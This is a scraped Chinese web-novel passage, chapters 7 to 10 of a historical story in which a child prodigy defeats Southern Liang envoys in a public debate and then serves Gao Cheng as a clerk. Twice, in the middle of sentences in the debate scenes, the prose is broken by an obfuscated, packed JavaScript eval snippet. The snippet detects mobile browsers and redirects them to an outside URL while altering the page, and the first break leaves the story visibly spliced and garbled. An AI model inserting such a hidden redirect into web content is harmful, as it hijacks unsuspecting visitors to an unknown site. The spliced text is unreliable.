高澄先是一怔,随即畅然大笑,“大善!此诗深得我心!”胸中块垒顿消,豪气干云,“若果为英雄豪杰,安有恶煞之不能降服?又岂有能刑克我者也?!哈哈哈!” 那住持也为之动容,“此诗字字风骨,句句雄杰,更兼命理之思,好啊!好!” 陈扶笑笑,也不看是从何等伟人之诗句化用而来,能没吞吐天地之气魄么。 其实,一代有一代之文学,此时南北朝盛行永明体,她这首诗有‘平头’声病,并不规整。但那又如何?诗,托志寄情也,其志之高,自能穿透任何形式的束缚,震撼人心。 陈元康简直不敢相信,“你,你何时学会作诗了?” “阿耶,”陈扶笑盈盈看他,“稚驹平日不仅随阿兄读了些书,还看了许多大将军颁发的榜文,其字间精神,自然能照虎画猫,依样学来。” 一旁的任胄再次朝陈元康竖起大拇指,脸上写满佩服——这孩子到底是怎么教的?句句往世子心坎上说啊。 高澄大悦,令住持的徒弟将诗抄下来。 抄完递上黄纸时,那徒弟笑言道:“世子,其实食神配印之格,不止有诗才,还旺大将军呢。” “哦?” 住持点头道:“此言不虚,官杀得食神而有制,解其厄、助其权;得正印而相生,削其戾、生其威。” “是呀,”徒弟接口惋惜道,“只可惜小娘子是女儿身,若为男子,大将军将如曹公得文若,必要成段君臣佳话啊!” 陈扶心中微动,她若真能保住高澄的性命,确实算旺高澄。 但你搬出男女之别,就别怪我怼你了。 她用一种纯然求教的语气反问:“小师父,方才大师曾言,同性之克乃为克极。如此说来,那这‘旺’,不也应是‘异性之旺’,方为真正的强旺吧?” 被稚龄女童问住,那徒弟脸上红白交错,只得垂首合十,“是......是小僧起了分别之心。惭愧,惭愧。” 陈扶这才转向高澄,“稚驹既能旺大将军,我们便常在一起,稚驹定会保护好你。” 高澄,我会保住你。 此言一出,高澄先是一怔,旋即一种难以言喻的情绪涌上心头。 尚不及他腰高、手无缚鸡之力的小人儿,用最郑重的语气说要‘保护他’,画面有些好笑,却也实在可爱至极。 这小人儿为何总能这么地令他欢喜?莫非真是天定之缘,命数相合? 最终,所有感慨与触动,都化为一句:“住持不愧是昙鸾高徒,批命果真准也。” 8.第8章 一行人出了寺门。 阿珩被奶母牵着,却不住回头,朝着陈扶的方向道:“姐姐也回。” “二郎乖,陈小娘子的阿耶还在呢,哪有跟咱们回去的道理?”说着制住扭动的小人,忙不迭将他塞进车厢,“明日,明日咱再下帖子请,乖啊,明日就见了……” 目送车子驶离,任胄回身笑道,“世子,吉阳里新开了个漳滨楼,听说炙鹿和桑落酒都是一绝,临窗可见漳河,景致也极佳,要不去喝点暖暖身子?” 高澄看向身侧的陈扶:“想吃什么?” “上回洗三礼,那味脍鱼莼羹很好。” “巧了,”任胄笑道,“那漳滨楼正有位南来的厨子,做得此羹。” 几人遂至漳滨楼。 二楼单间推开窗,炭盆烧得暖融,几人并案共食,高澄自然坐了主位,略一招手,示意陈扶坐他右侧。 随意点了几样时兴菜色,特意加了脍鱼莼羹。 酒肆的当垆胡姬很快翩然而至。她约二十许,石榴红撒花襦裙,云鬓斜簪,顺着任胄眼色婷婷袅袅跪坐到了高澄左侧,一股甜香随之袭来。 “今日雪景佐酒,贵人不多备两坛?” 高澄眉一抬,“若饮不尽,你喝?” 胡姬非但不怯,反调笑道:“喝就喝,只要贵人别嫌奴喝了贵人的好酒就成。” 高澄闻言轻笑,眼底略过狎弄意味,从蹀躞带算囊里取出一金铤按在案上,“取五坛来。喝得完,这金铤归你。” 涂着丹蔻的指尖下意识就要去碰,又在半空收住。眼波在高澄脸上转了两转,咬住了下唇——想要这金铤,怕是要舍半条命去陪,可这黄澄澄的金子...... 终是绽出个带着狠劲的笑,“贵人既这般大气,奴自奉陪到底!” 对饮间菜肴陆续上案。 脍鱼莼羹刚上,高澄便盛了一碗,推给陈扶,“尝尝。” 尝了口,无论味道如何她都不会说好喝,但当着胡姬的面又不好直接说难喝,只淡道:“挺好的。”便不再动匙。 瞥眼她面色,高澄伸手从她羹碗里舀了半勺,尝了下。 “明让我那的膳奴做一份,让你阿耶给你带回去。” 所以就是不能带我去呗? 正心里暗叹,忽闻窗外骚动起来。 但见长街之上,行人车马皆如流水般朝着街尽头涌去。积雪的街道被无数足迹车辙碾成一片泥泞,喧嚣声远远传来,虽听不真切言辞,却分明能感受到那方天地的热烈。 任胄笑言,“听这动静,想必是南梁使团那些清谈客,又与我们大魏才子们在驿馆‘切磋’上了!” 高澄已松开那胡姬,目光投向窗外,指节在案上轻叩起来。 又转向陈扶,见她碟中炙肉未动,便将自己那盏奶酥往她手边推了推。 陈元康心下了然——世子向来热衷于此道,将南北文辩争锋视为国威之争,此刻怕已坐不住了。 忙放下竹箸,对女儿道,“若已饱足,便莫要贪食积了胃。” “阿耶说的是,稚驹已饱了。” 一听此言,高澄便起了身,随手将那金铤往胡姬怀里一扔。 胡姬看眼怀里,又看眼才喝了一坛半的酒,忙对已转过屏风的背影唤道:“谢贵人赏!下回再来,奴定陪贵人尽兴!” 驿馆门前已是人声鼎沸。 朱轮华盖塞满巷陌,盛装的贵游子弟、粗衣的寒门、寻常百姓,摩肩接踵引颈而立,将整条街巷堵得水泄不通。 苍头奴为几人清出条道,才算挤了进去。 驿馆前的空地上,双方辩手已相对而跪坐,俨然两军对垒。 南梁使团两人,居左者清癯矍铄,目如入定,仿佛已超然物外;居右者更为年轻,白面无须,傅粉涂朱。 东魏这边,出阵的是北地三才之二:魏收与温子昇。 魏收一身书卷之气,跪坐安然;与他同席的温子昇低着头,不时抿紧的嘴唇泄露出紧张。 任胄讶异:“咦?怎是温咨议上场?邢子才呢?咨议虽下笔如神,可于此等唇枪舌剑之场,怕是......” 陈元康:“子才被高延兴借去,清查军政上冒名顶替、窃据官位之人了。” * 驿馆大门前的榜木上,两名仆役正将写有辩题的黄纸贴好。 辩题:‘君子之德风,小人之德草,草上之风必偃’此为至理否? 南梁立场:此为至理。 大魏立场:此非至理。 “君的德性如风,民的德性如草,草必顺应风势而倒。君主应率先垂范,通过自身之德行影响百姓。”陈扶弯唇,“阿耶,这题目是南梁使团出的吧?” 高澄闻言微讶,垂目看她。陈元康也怪道:“你如何知道?” “稚驹只是猜想,既是两国交谊,自然要以客为先。” 陈扶答得乖巧,实则,她这么确定的缘故,是已明了南梁出题的关窍,以及两方实际将要辩论什么。 南梁左辩拱手为礼,开题道: “《论语》有云:君子之德风,小人之德草,草上之风必偃。此乃世之至理。何以故?《大学》开篇即言:‘自天子以至于庶人,壹是皆以修身为本。’其身正,不令而行;其身不正,虽令不从。若风不清,则草必乱;若上不修身,则下必失序。” 右辩补述道: “曾子云:古之欲明明德于天下者,先治其国;欲治其国者,先齐其家;欲齐其家者,先修其身;是故君子先慎乎德,有德此有人,有人此有土。身修而后家齐,君心正而后朝廷肃,朝廷肃而后天下治。此乃尧、舜、禹、汤、文、武相传之心法,致治之本,无可争议。” 一上来就搬出儒家经典《大学》、圣贤曾子、先秦圣主,不愧是长于此道的南人。 魏收行礼,辩道: “善哉此言。然《道德经》有言:‘太上,下知有之;其次,亲而誉之;其次,畏之;其次,侮之。’故上之君,下仅仅知道其存在而已,何须以‘德风’去‘偃’草?天地与圣人,皆守上道,不言而化,不为而成,此方是更高之境界。” 魏收很聪明,不在儒家框架内和其硬拼,而是引入道家‘无为而治’思想,将‘德风草偃’贬为次一等的统治之术。 南梁左辩淡淡一笑,辩道: “贵使深谙玄理。然《道德经》亦云:‘圣人处无为之事,行不言之教。’请问,这‘不言之教’由何而发?岂非发于圣人之本心?此心,即是儒家所言至诚无息之仁德。释门亦言,‘依报随着正报转’,君王心念,便是世间最大之‘正报’!心念为恶戾,则依报现饥馑;心念为仁德,则依报现丰饶。儒释道于此理上,皆殊途同归也!” 人群窸窣声渐大。他以道驳道,还巧引释家,三教同证,这如何辩得? 眼见魏收落了下风,温子昇更是面色发白难以招架,高澄负在身后的手渐渐握紧。他下颌微抬,喉结滚动了一下,虽仍维持着观战姿态,眉宇间已凝起薄霜。 看温子昇不言,魏收勉力辩道: “诸行无常,诸法无我。佛家亦讲缘起性空,万事万物因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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围观的邺下群众,虽不敢高声议论,然目光已如细密的针尖,纷纷刺向高澄。寒门多面露羞愤,低头盯着泥泞的雪地;几个华服贵游子弟以袖掩口,交换着心照不宣的眼神。 视线焦点的高澄额角青筋暴起,目光死死钉在场中,仿佛要将那巧言令色的南人盯穿;但最终,他只是从齿间漏出声冷笑。 对方只是机锋,并无指名道姓,若发作反倒显得心虚。 场中东魏席上,魏收额角已沁出细密冷汗,温子昇更是嘴唇微张,仿佛下一刻便要厥过去——这已非辞锋较量,而是直刺主公脸面的刀剑,这若辩不过,该要如何面对世子? 陈元康面色一沉,正欲上前救场,袖口却被一只小手攥住。陈扶踮起脚尖,在他耳边急速低语了几句。 “胡闹!”陈元康眉头紧锁,低声斥道,“此乃国家交锋,岂容你添乱!” 陈扶目光清亮,“阿耶,普惠寺的大师不是刚批过,说我是‘弄章慧辩之才’?方才试了试,确能弄章成诗,为何不再试一试,能否慧辩得胜呢?” 陈元康仍觉荒唐,正要再拒,却听高澄道: “让她试试。” 得了准许,陈扶再次示意阿耶依她附耳之言行事,转身走向场中。 小小身影穿过泥泞的雪地,在全场哗然中来到席前,对着两位南梁辩手行了一礼。 看着眼前这个尚梳丱发的女童,两位交换了眼神——这北朝是无人可用了?竟让一女童上场,意欲何为? 意欲何为? 自然是给高澄一个,带她去东柏堂的充分理由。 9.第9章 “听两位贵使一番宏论,小女茅塞顿开,如拨云见日,原来为君之道,竟在崇俭、律己、尚礼之私德也!” 她语调可亲,脸上满是孩童被点悟后的纯粹敬佩。 此言一出,原本惊异于她上场,以为有什么玄机的东魏群众顿时泄了气。交头接耳起来:“这是谁家女郎?怎地上台便先矮了三分!”“怎不管管?上去助长南人气焰作甚!”...... 南梁使者见状,不禁自得而笑,交换眼神:原来是小女儿家,常日只得见粗鄙北人,乍闻我朝煌煌正道、陛下巍巍圣德,被折服了呀。 “小娘子能明此理,实属难得。此三者,确乃圣君之准也!” 陈扶仿佛未觉场外骚动,愈发诚恳追索: “恩,小女细细思量,古今帝王,能同时做到此三者的,实在是凤毛麟角,但小女倒是听阿兄讲过一位,全然符合之人主。” 众人心中皆道:完了!这可真是人家瞌睡你递枕,人本来还是暗抬自家,现在倒好,你要给人点明?!还嫌对方不够威风么?!有人扼腕,有人叹息,皆觉得小孩天真,却是帮了大倒忙。 高澄眉头蹙紧,紧抿着唇,终究没有出声阻止。 “此人便是——” 陈扶拖长了语调,梁使们身体不由自主前倾,已然做好准备,待她话音一落,便接口“正是我朝陛下也”。 在所有人的注视下,陈扶幽幽开口: “新朝皇帝,王莽。” 时间仿佛凝固。 死寂中,忽闻高澄发出了声短促的嗤笑。 这笑声如同一个信号,下一刻,人群仿佛被点燃的爆竹,皆笑了起来!方才的压抑与憋屈,尽数宣泄而出。 梁使笑容僵住,王莽?被视为德贼大伪的王莽?! 羞愤之色瞬间涌上脸庞,面色由红转白,再由白转青。 两位在刺耳的笑声中兀自强撑,对视一眼,都从对方眼中看到了同样的念头:无妨,怕什么,一个小孩子,不过是灵机一动罢了,安有正论? 那二人刚定下神,欲待思索对辩之策,陈扶已逼问道:“贵方为何面色不豫?既然小女总结的标准无误,难道是那王莽有不合之处?若有不合,万望指教?” 这一问,如同软绳套颈。那王莽还真就符合,可若改口说标准有误,便是自打嘴巴,方才所有自抬身价的言论皆成笑柄。两位梁使顿时语塞,眼神慌乱起来。 不待他们喘息,清亮童声已如影随形: “王莽此人,言必称三代,事必据《周礼》,何其尚礼;衣着简素,家不蓄财,崇俭天下皆知;行止有节,严于克己,可谓道德完人。这不正是贵方心中——古之致治者,世之圣主也?” “哈哈!问得好!” 人群中几声喝彩,更有促狭者高声起哄:“对呀!南使快说,这王莽是不是你们心里的圣主啊?!” 高澄面色已舒,负手而立,俨然在看好戏。 梁右辩试图辩解:“这……王莽虽合于德,却失于时,未能……”却被那左辩暗戳了一下,示意勿以此辩,若说失于时,岂非时比德重要,这和推翻自己有何区别? 瞥见陈元康已回高澄身侧,陈扶敛去戏问神色,正经论辩道: “贵方认为君子之德风,小人之德草,草上之风必偃是至理,那这个私德完人王莽,是如何以德偃民的呢?是滥铸钱币,以致陌钱泛滥,兑换不均,物价腾踊!” “是推行五均六筦之制,官家却乘传求利,操纵市价,多立空簿,府藏不实,盘剥百姓!” “是不察下情,吏治崩坏,豪强横行,民田尽失,流民塞道。是妄求古癖,终致新朝户口减半,饥荒遍野,苍生涂炭!” 每多一句落下,梁使的脸色便灰败一分。 “诶!吏治崩坏,豪强横行?这说的,怎么那么像吾在南边过的日子哇?!” 一江淮口音的大嗓门突兀响起。众人循声望去,只见陈功曹身侧站了个厨子,他一边用布巾擦手,一边继续愤慨: “还有那个钱,南边也是的呀,又是‘东钱’,又是‘西钱’又是‘长钱’的,一会儿铜钱一会儿铁钱,光是他爷爷的倒换钱就得亏一半呐!” 几乎是同时,另一个方向的人群里,一农人打扮的汉子也梗着脖子,用吴语囔道:“岂止是像!吾在丹阳郡亲眼看见,王家公子当街纵马踏死人,扬长而去!官府连问都不问的呀!” 陈扶意外道:“噢?你们都是南边逃来的?” 她确实有点意外,厨师是她让阿耶从漳滨楼叫来的,那个农民却是自己冒出来的,看来北逃的南人还真不少。 “对呀,吾南边逃来的呀!” 那厨子应声,“那菩萨皇帝,非要去那个同泰寺出家呀!官府逼吾缴''赎皇帝钱''!苍天咧,官儿个个富得流油,不去赎皇帝,吾都吃不起饭了,倒叫吾赎他咧!吾就跑啦。” 话音未落,人群里几个贵游子弟便哄笑起来。 其一摇着麈尾道:“咱们给寺庙捐香火,可都是花自己的钱。原来还能这么来呀,嗳,学着点吧。”这调侃又引来一阵哄笑。 陈扶目光重新锁在面色惨白的梁使身上。 下一句如淬毒的箭矢,直穿其心窝: “方才贵方曾言,贤良远遁,有德者举族而迁,是为避礼乐之崩坏;却不知百姓亡命,黎庶离乡而渡,又是在避什么啊?” 魏收、温子昇生于当世,长于邺下,不知南梁弊政,找不到破题关键;可她看过南梁史,知晓其短,自然能拿捏攻辩方向。 “自然是避江左之王莽呗!” “避那吃人的功德钱!” “避那踏死人的王家公子啊!” 人们纷纷回应,笑声、喊声、嘲讽声交织在一起,南梁左辩身形晃了晃,几乎已跪坐不住。面对‘南朝百姓北逃’这个不争的铁证,任何引经据典都已苍白无力。 高澄爽快够了,向驿馆门前的主客令递了个眼色。 对方立刻板起面孔对着人群,尤其是那厨子和农民方向喝道:“呔!肃静!不可妄议友邦!再言辞过激,便将尔等几个不知轻重的拿下,治罪了啊!” 转向南梁使节,语气转为客套:“贵使见谅!刁民口不择言,不必挂怀。好了,继续,哈,继续。” 陈扶正色道: “昔宋人卖酒,便是酒香,然犬恶致酸。若君主专于私德,而驭下太宽,必致为官者猖狂无度,贪苛者取入多径,曲钩者反被升进;为求一己之虚名,而将万民推之入水火,岂非世之大恶也?” “好!!” “说得好!!” 陈扶正欲趁势再言,却见任胄领着邢邵匆匆赶到。 那邢邵不甚雅观地搔着脖颈径直进场,全然不修边幅,然而一开口,便知水平: “大道废,有仁义;慧智出,有大伪。过于强调仁义之名时,恰恰是因大伪横行。圣人茂于人者神明也,同于人者五情也。虽绝五情然神无明,乃人天小果,有漏之因,非圣主也。” “妙!!” 高澄拊掌大笑。 “虽五情炽盛,然神明,亦为圣主也。夫善者,非独行之洁,乃天下之利焉。大善在于实效,至德在于安民。应以霸王道杂之,奈何纯任德教,用周政乎?!” 听懂已拍手叫好,有那不懂的发问:“那才子说得啥意思啊?”贵游子弟高声解释:“说得是,谁说有人情味的就不能做圣主?是那种神不清、智不明的糊涂虫才成不了圣主呐!哈哈!” “他引《道德经》、《周易注》、汉宣帝中兴治世之明言,却不提出处,这才是真正的融会贯通、信手拈来啊!” 又有人窃语:“嗳,那句‘人天小果,有漏之因’,不是达摩祖师与那梁帝所言嘛?” “是!昔年他家梁帝问达摩祖师:‘朕即位以来,造寺写经,度僧不可胜计,有何功德?’达摩答:‘并无功德。此乃人天小果,有漏之因,虽有——非实!’” “哈哈哈!当真好机锋也!好个佛国菩萨帝,却留不住真祖师!” 气氛太过热烈,主客令再次出面维持秩序,却拦不住这机锋被点破的叫好声!“子才高才!” “子才好老公!” 甚至有激动的贵公子将随身玉佩、簪花解下扔上台去!* 受此气氛感染,一直沉默的温子昇也补辩道: “为君者性情豪迈,不拘小节,正因其情不累于物,神不滞于形,故能洞察世务,雷厉风行,以霹雳之手段,行菩萨之功德。此方为真正圣王境界也!” 他此言,是明着为高澄辩护。 高澄再次含笑鼓掌,投以鼓励目光。 南梁使节面如死灰,不是不想辩,是真的理屈词穷,难以招架这连环猛攻。右辩年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498306|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁尚轻,指向邢邵不忿道:“邢、邢子才来此助力,谁不知他才高,这是欺人……” “那小女总不算欺负贵使吧?” 看对方无言以对,陈扶神色一正,“贵方既已无言,小女不才,代我方做如下结辩。” “良田分而平均,则民生惠,”一指张贴《鳞趾格》的榜木,“法度行而有效,则社会安,”从袖中取出一枚永安五铢钱,“钱币发而足值,绢布制而均尺,则市场兴。” 看向黄纸上的辩题, “故而偃民之君主,非私德高也,乃利世安民之政善也。” “是呀!绢全改成四十尺后,里长再没乱收过尺头了!” “这一比,大丞相待咱们太好了!天平那会国家分田地,势族占了良田,我们得了贫地。那高右丞将此事禀奏丞相,不是给咱重分了嘛?” “每逢水旱凶饥,大丞相还开仓振济!” “而且大丞相穿得也很俭素啊,听说王妃在晋阳还自己纺绩,手缝戎服呐,只是不宣扬罢了。” 百姓们你一言我一语,竟自发地列举起高氏政绩来。 陈扶走到两位梁使面前, “若果为有德贤良,与其夸耀君主私德之无瑕,不如上荐君主施政之疏漏;与其空谈克己复礼之虚名,不如力行安邦定国之实务。” 她微微歪头,“未知贵使,以为然否?” “然!!” “小娘子说得好极!!” 人群叫好不断,喝彩不息!邢邵、魏收、温子昇、高澄、陈元康、任胄等人,皆为之拊掌! 主客令见胜负已分,出来打圆场,对着南梁使节拱手,满面春风道:“今日得会南国俊才,见识广博,言辞雅致,使我等受益匪浅,幸甚,幸甚啊!” 南梁使节灰头土脸,狼狈地回了驿馆。 意犹未尽的人群却迟迟不散,许多人借着与陈元康寒暄的机会,纷纷与陈扶打招呼。陈元康面上有光,应对得体,心中却百感交集。 高澄心情极佳,任胄见机提议:“世子,不若移驾寒舍,彻夜庆贺如何?” 邢邵第一个摆手,“不去不去,手头还有高隆之交待的冒名案卷未曾厘清。”他走过高澄旁时,半开玩笑地丢下句,“世子,往后有陈家这小女郎在,似今日这般场面,我看就不必唤我来了。” 看他走了,魏收与温子昇也面露难色,显然对任胄府上的‘宴饮’兴致不高。 “季良,看来并非人人都好你府上那般玩法。” 高澄语带双关,目光扫过任胄和陈元康,最后落在陈扶脸上。 他略一沉吟,“都去东柏堂喝碗羹吧。” 说罢俯身将她揽起,托抱着上了他那辆车。 车内空间宽敞,陈扶坐于高澄膝上,高澄松松揽着她,低问道:“懂这么多?” 她盯着那挺直的鼻梁,答得乖巧:“稚驹常溜出府门,卖胡饼的张阿公,每有了新鲜事,都会同稚驹闲话呢。” “南边的情势,你又从何得知?” 她笑眯眯,语气如同分享小秘密,“长寿里街边常玩握槊的阿公们,有一位便是从南边逃来的。他每次提起那个梁皇帝,就要骂上几句呢。” “王莽?” “自然是看阿兄的《汉书》呀。” 高澄屈指摩挲了下她的脸颊,笑看她,“稚驹方才表现甚好,想要什么赏?” 一只小手反握住了他那根手指,陈扶仰着头,目光无比真诚地望进他眼眸里。 “稚驹原也只是想试试,不曾想真能得胜。由此看来,普惠寺的大师批命确实准极,我果然可旺大将军,只要是关于你的事,我自然能做好。所以,稚驹想要问你,” “有什么我可以帮你?” 高澄的心仿佛也被这小手紧紧攥住了。 她不仅给了大魏一场酣畅淋漓的胜利,让他大有脸面,事后还将功劳归于‘旺他’的命数,而非自己,更是这般纯然地想要为他效力,怎么这么乖…… 看到她眼中自己的倒影,高澄回过神来。 她可以帮他什么? 还真有,她其实是个外交利器,不仅在于其有弄章慧辩之才,更在于她只是个六岁女郎,大魏稚女就能作诗相和,还能辩得你南梁使节哑口无言,国威高下立现。 “我上奏小皇帝封稚驹为女史,稚驹来东柏堂随侍,可好?” 10.第10章 膳奴端着食盘走入内堂。 堂内陈设简练,一张宽大的主案,上摆着奏章、文书和笔墨砚台等,旁边另设一小案。 他将吃食摆在小案上,若无外宾,大将军与心腹之臣的午食便设在此,可接着上午的政务边吃边谈。 布菜完毕,目光不由落向那抹小小身影。 她已来东柏堂做女史月余了,每次他来备食时,便能看到她将案上的典籍、舆图与各类文书,按某种他看不懂,但显然极有章法的方式,分门别类地归位。 现在她正将大将军已批阅过的奏疏,一份份展开,核对着上面的签押,确认无误后,再吃力地抱起一摞,走向指定的架阁,小心翼翼地放入。 她个子矮,有时需要踩在一个特制的小木凳上,才能够到较高的格层。 看她那认真的小模样,他忍不住压低声音搭话:“女郎真是了不得,小小年纪,整理起这些文书竟这般手熟,瞧着……瞧着也不比那秘书丞大人差哩!” 陈扶刚将一卷关于屯田的文书归入‘户政-屯垦’类目下,闻言,从书架间回过头来。 看那膳奴满面赞叹,换上个符合年龄的、略带腼腆的笑容,软声道: “都是大将军教得好,稚驹只是学着做罢了。” 心下却淡然。 拂尘、分类、核对、归档……这套流程对于前世做文办的她而言,几乎是刻在骨子里的本能,这一月与其说是学习,不如说在适应这个时代文书的形制和称呼。 膳奴刚要再说,看高澄和崔暹进来了,便躬身退了出去。 腊月的天,堂内虽燃着炭火,却仍抵不住从窗隙钻入的寒意。 高澄与崔暹隔着食案对坐,将陈扶也叫了过来,照例坐他身侧。 案上摆着几样热气腾腾的菜肴:滚豆腐在陶釜中咕嘟作响,冬瓜炖羊肉汤汁奶白,炙鹿肉油脂滋滋,佐几样青翠时蔬,还有一味脍鱼莼羹,清香袅袅。 高澄舀了碗莼羹放于陈扶面前,转向崔暹,神色复杂:“下早朝时高延兴叫住我,说邢子才已帮他清查完军政冒名窃位之案,你猜猜查出多少人?”不待崔暹回答,“竟有五万之多!” “子才天资颖悟,于经史政务皆是过目不忘,无纤毫遗漏,三日之功可抵他人旬月,臣不得不叹服。”崔暹执箸的手微顿,“虽查出了,但牵扯的只怕都是并州老将、六镇旧人,这次也要不了了之嘛?” 高澄没料到他会先赞邢邵,挑眉道:“卿只道邢邵长处,可知邢邵却说卿‘执圭璋而守枯木,临湍流而数沙砾’,为人死板,遇事多凝滞之气嘛?” “臣之拙朴,邵之捷才,彼言臣短,臣述彼长,皆是事实,”崔暹神色平静,“臣没有什么意见。” “你可真是痴人啊。”高澄摇头失笑,给他夹了一箸鹿肉,语气转沉,“你说对了,阿耶令其不必上奏了,哼,何苦查呢?到头来还不是雷声大,雨点小。” 陈扶觉得很正常。 高欢从一破落的怀朔镇民,到而今雄踞半壁,以一己之力弥合北镇旧部、河北豪族、洛阳士族、尔朱余部等多方势力,靠的就是权允人心、手腕怀柔。 鲜卑兵本愿为之效死,可若动了他们,还会否卖命,就不一定了。 崔暹望着窗外枯枝嗟叹:“贼国自推行苏绰六条诏令,按赃满三十匹则死的律法,已在长安西市斩了三个刺史。他们律法比《鳞趾格》宽厚,可人家是真砍啊。” “咱们是严法空悬,贼国是宽法严用,”高澄搁下银箸,“真是天大的笑话!” “哎,西汉刘向《杂言》有云:麋鹿成群,虎豹避之;飞鸟成列,鹰鹫不击;众人成聚,圣人不犯。如今晋阳勋贵与六镇旧部,彼此联姻,盘根错节,早已是‘众人成聚’之势。法难责众,非不为也,实不能之无奈也!” 高澄眉心紧锁,盯着案上渐冷的炙肉默然不语,堂内一时只闻炭火哔剥之声。 看此一团凝气,陈扶从碗中抬起脸,笑道:“崔大人这般释义,实是曲解了刘向呢。” 二人皆看了过来。 “崔大人才高,却不闻鹰立如睡,虎行似病嘛?” “那林间猛虎低伏身躯,长空雄鹰敛去声势,绝非畏惧群鹿飞鸟,乃是为了惑敌耳目,待鹿群懈怠、引飞鸟尽出,方可一击毙命啊!大将军今日蛰伏,恰如猛虎蓄力,雄鹰敛声,非是畏其势众,乃为击之必溃呢。” 高澄眉头骤然舒展,“好!好!好一个‘虎行似病’ !好一个‘乃待其懈’ !”他转向崔暹,眼中已恢复神采,“崔季伦啊崔季伦,你我竟不如一小女儿通透!且让那群麋鹿再蹦跶一阵,自有厮等知晓谁是山林之主的那日!” 心情转霁,见陈扶碗内已空,便执起公勺又为她添了半碗。看她捧碗小口啜饮的专注模样,不由问道:“就这般喜欢?连喝一月都不腻。” 陈扶放下瓷匙,仰起脸时眼睫还沾着热气,“大将军不知,这羹汤清而不薄,鲜而不腥,鱼肉嫩如初雪,莼菜滑若流云。”她舔舔嘴唇,不好意思地笑笑,“休沐归家吃不到时觉得怅怅然,连阿耶都说稚驹嘴馋呢。” 高澄闻言低笑,“兰京别的不说,做南人饭的手艺倒是练得炉火纯青。” “恩...”她语气随意道,“能不能让我家的奴婢和他学学这道羹呀?就学这一道...”见高澄挑眉不语,乖道,“不准也没关系的。” 说罢把发顶小髻对着他,整张脸几乎埋进碗里,专心致志地捞着鱼肉。 “准了。” 午食毕,崔暹因公告退,高澄和陈扶一起去了暖阁,她走到榻尾那张铺着狐皮的小榻上躺下——那是她的专属休憩之处。 高澄自晋阳时便养成了午憩的习惯,而他的小女史恰巧也有着同样的习性。 暖阁里炭火刚换过,高澄褪去外氅鞋履躺下,被褥初盖时的冰凉令他极不舒服。裹紧还是觉得冷,他烦躁地翻了个身,目光落在了床尾小榻那个小鼓包上。 “过来。” 小鼓包坐了起来,有些茫然地望向他。 见她不动,高澄有些不耐,稍微提高了声音,“过来。” 陈扶依言走到他榻前,高澄眼半睁不睁的,掀开被角示意她钻进去。 将想象中的‘人体火炉’带进怀里,下一秒—— “嘶——!” 高澄眼睛倏地睁开,彻底清醒了,“你怎么比我还冷?” “因为大将军喝了羊汤,我吃的是鱼?” 他嗤笑一声,裹住刚碰到的小冰手,啧了声,将整个人圈进怀里,嘴里不忘数落,“你阿耶也不知给你多穿点。” 身体里成年人的灵魂让她本能地挣了挣,但挣不动,旋即释然——在高澄眼里,自己不过是个孩童,那便就当孩童。 怀里的小冰疙瘩渐渐暖和过来,没一会儿就传来了均匀的呼吸声。 陈扶在冷香和暖意中沉沉睡去,醒来时被窝里只剩她一人,她起身理好衣物发髻,轻手轻脚回到内堂。 高澄正与斛律光交谈,见她出现,未停话语,只屈指在砚台上轻点两下。陈扶会意,挽起袖口开始研墨。 斛律光身着戎装,向高澄禀报着京畿禁军巡防要务。作为亲信都督兼左卫将军,禁军调动皆由他奏请高澄定夺。陈扶垂眸研墨,耳朵听着条理分明的各城门戍卫轮值、武库核查等事,高澄时而追问细节,时而下达指令。 斛律光得令抱拳离去,身为尚书左丞的崔暹已捧回新文书。 高澄接过他递来的吏部考功簿,一边翻阅一边与崔暹商议官员迁黜。作为中书监,他实际执掌着宰相之权,中书省机要事务皆需他过目。 理完吏部,又开始翻奏表,新翻开的奏表是临淮王元孝友所呈。高澄快速浏览着关于调整邻里编制以增加赋税的建议,“将二十家为一闾改为百家为四闾,岁增赀绢二十四万匹……倒也算是富国安人之道。” 一直在瞄着的陈扶已看到后续内容,实在没忍住,撇了撇嘴。 元孝友竟以“举朝略是无妾,天下殆皆一妻”会导致“奸/淫之兆兴”为由,奏请官员都强制纳妾:王公一品娶八,通妻以备九女;二品备七;三品、四品备五? 直白点说,就是男人会出去寻欢,是因妾纳得太少? 高澄瞥到她表情,抬眉,“稚驹在想什么?” 陈扶语态纯然,如同分享孩童的烦恼:“稚驹在想,昨日休沐,我同阿耶说馋脍鱼莼羹的滋味。阿耶却说家中吃食样样俱全,外头的有何可馋。”她微微鼓起脸颊,“可家里便是有再多吃食,也不如外头的新鲜呀。” 她借‘馋吃食’暗讽‘馋女色’,说者仿佛无心,听者却立时意会。高澄与崔暹对视一眼,皆从对方眼中看到笑意。 高澄故意逗她:“依稚驹看,怎么才能不惦记外头的吃食呢?” 陈扶一脸天真:“除非......吃外面的要挨打。知道会挨打,自然就不敢惦记了。” “哈哈哈!”高澄被她这稚气又犀利的比喻逗得大笑,提起朱笔,在元孝友奏表上‘妻妾之礼废,则奸/淫之兆兴’那句旁,批下四个铁画银钩的字:此理不通。 整个下午,陈扶照旧看着官员人来人往,治书侍御史来请示律令修订,御史中丞呈报官员监察要情,度支尚书禀告财政赋税收支,七兵尚书请示军务……他于军事、禁卫、机要、人事各大系统之间,听断如流,决策果决,将纷繁复杂的政务一一厘清,将那庞大的权柄,牢牢握于掌中。 墨条在指下磨得只剩指头肚大小时,主客令入内禀报,新抵邺城的南梁使臣已至宴厅候见。 高澄闻言放下手中朱笔,起身任苍头奴为他整理袍服,一面伸手臂配合,一面侧首看向仍在案边的陈扶。 